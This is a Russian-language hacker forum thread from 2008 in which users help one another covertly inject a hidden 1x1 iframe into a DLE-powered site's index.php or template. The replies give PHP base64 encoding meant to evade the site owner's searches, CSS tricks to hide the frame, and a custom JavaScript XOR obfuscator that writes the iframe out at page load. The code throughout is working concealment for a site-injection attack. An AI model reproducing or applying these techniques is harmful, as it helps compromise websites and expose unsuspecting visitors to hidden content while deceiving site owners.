вставка iframe в ПХП

Discussion in 'PHP' started by satana8920, 29 Nov 2008.

  1. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    люди Хелп
    есть страница index.php
    Кстати скрипт DLE
    вставляю фрейм так
    PHP:
    $fr'<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>';
    print( base64_encode($fr) );
    кгда захожу на сайт пишет
    Parse error: syntax error, unexpected T_STRING in /home/public_html/index.php on line 227
    что такое ??? в чем проблема?
    еси кто может помочь напишите в ацку или тут
     
    3 people like this.
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    809
    Reputations:
    231
    Code:
    $fr= "<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>"; 
    
    А зачем в базе64 то?
     
    _________________________
    1 person likes this.
  3. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    что б сразу не просекли
     
  4. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Так он и грузиться не будет
    :D
     
  5. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    $fr= '<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>';
    однако .. это как понимать ?
    вот что надо
    $fr= '<iframe src=\'http://xxxxxxxxxx\' width=1 height=1></iframe>';
     
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    PHP:
    $frbase64_encode("<iframe src='http://pashkela.narod.ru' width=100 height=100></iframe>"); 
    echo 
    base64_decode($fr);
    В общем двойные кавычки нужны в первой строчке, чтобы не было ошибок, просто php после второй одинарной кавычки считает, что кавычки закрылись, и ждет корректного продолжения кода, ну уж никак не http

    А дальше как выше и сказали - твой код, даже с исправленными кавычками, просто выведет на экран вот это:

    Code:
    PGlmcmFtZSBzcmM9J2h0dHA6Ly9wYXNoa2VsYS5uYXJvZC5ydScgd2lkdGg9MTAwIGhlaWdodD0xMDA+PC9pZnJhbWU+
    
     
  7. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    какая нах разница как лучше ? у тс трабла была в пхп, а именно с кавычками ..
    вы ещё партнёрки тут прорекламте...

    DVD_RW, я конечно тоже не знаток-верстальщик .. но твой пример не заработает ни в одном браузере помоему :D
     
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    лучше тогда уж так:)

    PHP:
    <?
    $fr"PGlmcmFtZSBzcmM9J2h0dHA6Ly9wYXNoa2VsYS5uYXJvZC5ydScgd2lkdGg9MTAwIGhlaWdodD0xMDA+PC9pZnJhbWU+"
    echo 
    base64_decode($fr); 
    ?>
    Скрипт для кодировки ВАШЕГО ифрейма:

    PHP:
    <?
    $fr"'<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>"
    echo 
    base64_encode($fr); 
    ?>
    И то, что выведется на экран - просто скопировать и вставить в первый скрипт ЭТОГО поста вот сюда:

    PHP:
    $fr"сюда_вставить"
    и тогда действительно простым поиском по тегам фиг что чел найдет, даже если что-то заподозрит:)

    Кодировки можно применять разные
     
    1 person likes this.
  9. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    спс всем траблу пмог решить Kaimi спс ему огромное
     
  10. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,803
    Likes Received:
    1,957
    Reputations:
    594
    1. Кстати фрейм виден в виде маленького квадратика в Опере. Помню как-то делал его вывод на отдельный слой и за пределы окна страницы, не подскажите?
    2. Ну в исходниках на стороне сервера мы маскируем линк кодированием в базе64, надо бы ещё от клиента тоже скрыть линк, поделитесь готовым javascript для этого дела у кого есть...
     
  11. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    1. ставим висибл в 0
    пример <iframe src="_URL_" style="display:none;"></iframe>
    2. есть онлайн утилиты что то типа iframer.ru
    смысл сводится к приблизительно такому...
    пример document.write(unescape('%3C......'));
    тут просто "<iframe src="_UR...." кодируется.

    поповоду самого вопроса, в дле лучше всего вставлять в шаблон /teplates/_you_templlate_/main.tpl
    вставляй сразу после тега <body>
     
    #11 big_BRAT, 8 Jan 2009
    Last edited: 8 Jan 2009
    1 person likes this.
  12. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Можно самому что-нибудь простое написать, например:
    Code:
    <pre>
    <script>
    
    function encode(s)
    {
      s = s.split('');
    
      var
        l = s.length,
        i = 0,
        a = [],
        r = Math.random,
        n = 0;
    
      while(i < l)
      {
        a[n++] = s[i++].charCodeAt(0) ^ (a[n++] = r() * 0xFF >> 0 | 0x100) | 0x100;
      }
    
      return a.join('');
    
    };
    
    function decode(s)
    {
      s = s.match(/.{3}/g);
    
      var
        l = s.length,
        i = 0,
        n = 0,
        r = [];
    
      while(i < l)
      {
        r[n++] = s[i++] ^ s[i++];
      }
    
      return String.fromCharCode.apply(null, r);
    };
    
    var a = encode('<iframe src="http://www.google.ru" style="position: absolute; left: -10000px"></iframe>');
    var b = decode(a);
    
    document.writeln( a );
    document.writeln( b.replace(/</g, '&lt;').replace(/>/g, '&gt;') );
    
    
    </script>
    </pre>
    Соответственно выглядеть это будет так:
    Code:
    <script type="text/javascript">
    
    alert
    (
      (function(a,i,n,r,f,l){l=a.length;while(i<l)r[n++]=a[i++]^a[i++];return f.apply(null,r);})(
      [
        '397433321296274372313331434467277376415506326358',
        '301350352274427456463498450480340316287363363287',
        '444460382324487456407440296351504399414489272318',
        '290325259364445466500403483399292321311281390500',
        '427478302268478510355272277353450443444464398491',
        '323382368338289337270353411488268357417469398487',
        '422457386492448506347379443474396494509398314341',
        '332288412489509393331302313258402434428448386487',
        '501403498390287293279311408437314267371323257305',
        '495479317269437453280352369339406424384444280311',
        '268357461427281363499402468441399490363341'
      ].join('').match(/.{3}/g),0,0,[],''.constructor['f://rom=C++ha!r^.?C++|{ode;!'.replace(/\W/g,'')])
    );
    
    </script>